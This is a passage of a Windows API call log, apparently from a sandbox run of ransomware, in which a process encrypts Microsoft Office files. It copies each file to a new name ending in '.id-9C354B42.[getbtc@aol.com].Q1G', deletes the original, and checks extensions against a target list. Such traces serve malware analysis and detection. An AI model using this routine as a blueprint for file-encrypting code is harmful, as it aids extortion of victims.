lpOverlapped=0x0) returned 1 [0252.137] WriteFile (in: hFile=0x390, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3b90, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x3b90, lpOverlapped=0x0) returned 1 [0252.138] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.138] WriteFile (in: hFile=0x390, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0252.138] SetEndOfFile (hFile=0x390) returned 1 [0252.138] CloseHandle (hObject=0x390) returned 1 [0252.138] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.138] SetEndOfFile (hFile=0x3a0) returned 1 [0252.141] CloseHandle (hObject=0x3a0) returned 1 [0252.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 1 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.142] lstrlenW (lpString=".doc") returned 4 [0252.142] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString=".docx") returned 5 [0252.142] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.142] lstrlenW (lpString=".pdf") returned 4 [0252.142] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString=".xls") returned 4 [0252.142] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString=".xlsx") returned 5 [0252.142] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.142] lstrlenW (lpString=".ppt") returned 4 [0252.142] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.142] lstrlenW (lpString=".zip") returned 4 [0252.142] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString=".rar") returned 4 [0252.142] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString=".bz2") returned 4 [0252.142] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString=".7z") returned 3 [0252.142] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.142] lstrlenW (lpString=".dbf") returned 4 [0252.142] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.142] lstrlenW (lpString=".1cd") returned 4 [0252.142] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.142] lstrlenW (lpString=".jpg") returned 4 [0252.142] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.143] lstrlenW (lpString=".doc") returned 4 [0252.143] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString=".docx") returned 5 [0252.143] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.143] lstrlenW (lpString=".pdf") returned 4 [0252.143] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString=".xls") returned 4 [0252.143] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString=".xlsx") returned 5 [0252.143] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.143] lstrlenW (lpString=".ppt") returned 4 [0252.143] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.143] lstrlenW (lpString=".zip") returned 4 [0252.143] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString=".rar") returned 4 [0252.143] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString=".bz2") returned 4 [0252.143] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString=".7z") returned 3 [0252.143] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.143] lstrlenW (lpString=".dbf") returned 4 [0252.143] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.143] lstrlenW (lpString=".1cd") returned 4 [0252.143] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0252.143] lstrlenW (lpString=".jpg") returned 4 [0252.143] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.143] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0252.144] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0252.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.390] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=57248) returned 1 [0252.390] CloseHandle (hObject=0x1fc) returned 1 [0252.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 0x20 [0252.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.407] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.407] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.407] GetLastError () returned 0x0 [0252.408] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0252.456] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xdfb0, lpOverlapped=0x0) returned 1 [0252.458] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.458] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.458] SetEndOfFile (hFile=0x1f8) returned 1 [0252.458] CloseHandle (hObject=0x1f8) returned 1 [0252.458] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.458] SetEndOfFile (hFile=0x3a0) returned 1 [0252.461] CloseHandle (hObject=0x3a0) returned 1 [0252.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 1 [0252.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.462] lstrlenW (lpString=".doc") returned 4 [0252.462] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0252.462] lstrlenW (lpString=".docx") returned 5 [0252.462] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0252.462] lstrlenW (lpString=".pdf") returned 4 [0252.462] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0252.462] lstrlenW (lpString=".xls") returned 4 [0252.462] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0252.462] lstrlenW (lpString=".xlsx") returned 5 [0252.462] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0252.462] lstrlenW (lpString=".ppt") returned 4 [0252.462] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0252.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.462] lstrlenW (lpString=".zip") returned 4 [0252.462] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0252.462] lstrlenW (lpString=".rar") returned 4 [0252.462] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0252.462] lstrlenW (lpString=".bz2") returned 4 [0252.463] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString=".7z") returned 3 [0252.463] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0252.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.463] lstrlenW (lpString=".dbf") returned 4 [0252.463] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.463] lstrlenW (lpString=".1cd") returned 4 [0252.463] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.463] lstrlenW (lpString=".jpg") returned 4 [0252.463] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.463] lstrlenW (lpString=".doc") returned 4 [0252.463] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString=".docx") returned 5 [0252.463] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0252.463] lstrlenW (lpString=".pdf") returned 4 [0252.463] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString=".xls") returned 4 [0252.463] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0252.463] lstrlenW (lpString=".xlsx") returned 5 [0252.463] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0252.463] lstrlenW (lpString=".ppt") returned 4 [0252.463] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.463] lstrlenW (lpString=".zip") returned 4 [0252.463] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0252.463] lstrlenW (lpString=".rar") returned 4 [0252.463] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString=".bz2") returned 4 [0252.463] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0252.463] lstrlenW (lpString=".7z") returned 3 [0252.463] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0252.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.464] lstrlenW (lpString=".dbf") returned 4 [0252.464] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0252.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.464] lstrlenW (lpString=".1cd") returned 4 [0252.464] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0252.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0252.464] lstrlenW (lpString=".jpg") returned 4 [0252.464] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0252.464] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0252.464] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0252.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.464] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=6988760) returned 1 [0252.464] CloseHandle (hObject=0x3a0) returned 1 [0252.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs")) returned 0x20 [0252.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0252.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.465] lstrlenW (lpString=".doc") returned 4 [0252.465] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0252.465] lstrlenW (lpString=".docx") returned 5 [0252.465] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0252.465] lstrlenW (lpString=".pdf") returned 4 [0252.465] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0252.465] lstrlenW (lpString=".xls") returned 4 [0252.465] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0252.465] lstrlenW (lpString=".xlsx") returned 5 [0252.465] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0252.465] lstrlenW (lpString=".ppt") returned 4 [0252.465] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0252.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.465] lstrlenW (lpString=".zip") returned 4 [0252.465] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0252.465] lstrlenW (lpString=".rar") returned 4 [0252.465] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0252.465] lstrlenW (lpString=".bz2") returned 4 [0252.465] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0252.465] lstrlenW (lpString=".7z") returned 3 [0252.465] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0252.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.465] lstrlenW (lpString=".dbf") returned 4 [0252.465] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0252.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".1cd") returned 4 [0252.466] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".jpg") returned 4 [0252.466] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".doc") returned 4 [0252.466] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0252.466] lstrlenW (lpString=".docx") returned 5 [0252.466] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0252.466] lstrlenW (lpString=".pdf") returned 4 [0252.466] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0252.466] lstrlenW (lpString=".xls") returned 4 [0252.466] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0252.466] lstrlenW (lpString=".xlsx") returned 5 [0252.466] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0252.466] lstrlenW (lpString=".ppt") returned 4 [0252.466] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".zip") returned 4 [0252.466] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0252.466] lstrlenW (lpString=".rar") returned 4 [0252.466] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0252.466] lstrlenW (lpString=".bz2") returned 4 [0252.466] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0252.466] lstrlenW (lpString=".7z") returned 3 [0252.466] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".dbf") returned 4 [0252.466] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".1cd") returned 4 [0252.466] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0252.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0252.466] lstrlenW (lpString=".jpg") returned 4 [0252.466] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0252.467] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0252.467] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0252.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.467] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=651) returned 1 [0252.467] CloseHandle (hObject=0x3a0) returned 1 [0252.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 0x20 [0252.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.468] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.468] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.468] GetLastError () returned 0x0 [0252.468] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x28b, lpOverlapped=0x0) returned 1 [0252.616] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x290, lpOverlapped=0x0) returned 1 [0252.617] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.617] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0252.617] SetEndOfFile (hFile=0x1f8) returned 1 [0252.617] CloseHandle (hObject=0x1f8) returned 1 [0252.617] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.617] SetEndOfFile (hFile=0x3a0) returned 1 [0253.012] CloseHandle (hObject=0x3a0) returned 1 [0253.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 1 [0253.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.031] lstrlenW (lpString=".doc") returned 4 [0253.031] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.031] lstrlenW (lpString=".docx") returned 5 [0253.031] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.031] lstrlenW (lpString=".pdf") returned 4 [0253.031] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.031] lstrlenW (lpString=".xls") returned 4 [0253.031] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.031] lstrlenW (lpString=".xlsx") returned 5 [0253.031] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.031] lstrlenW (lpString=".ppt") returned 4 [0253.031] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.032] lstrlenW (lpString=".zip") returned 4 [0253.032] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString=".rar") returned 4 [0253.032] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString=".bz2") returned 4 [0253.032] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.032] lstrlenW (lpString=".7z") returned 3 [0253.032] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 